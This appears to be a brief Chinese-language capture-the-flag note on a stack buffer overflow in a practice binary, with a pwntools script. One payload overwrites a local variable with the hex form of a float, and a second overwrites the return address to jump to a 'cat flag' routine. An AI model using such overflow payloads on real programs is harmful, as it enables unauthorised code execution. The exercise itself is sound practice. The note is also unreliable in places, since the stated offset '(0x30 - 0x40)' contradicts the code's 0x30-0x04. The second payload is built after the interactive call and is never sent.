v1在栈中的地址是0x30到0x04,所以要覆盖的长度就是(0x30 - 0x40)
v2的值给的是浮点数,需要转换成16进制的,十六进制值可以从汇编中找到
from pwn import *
r=process(" ./t")
payload=b'a'*(0x30-0x04)+p64(0x41348000) #11.2815 0x41348000
r.sendline(payload)
r.interactive()
addr=0x4006BE #addr cat/flag
payload=b'a'*(0x30+0x8)+p64(addr) #0x30指v1到ebp的偏移量,ida中给出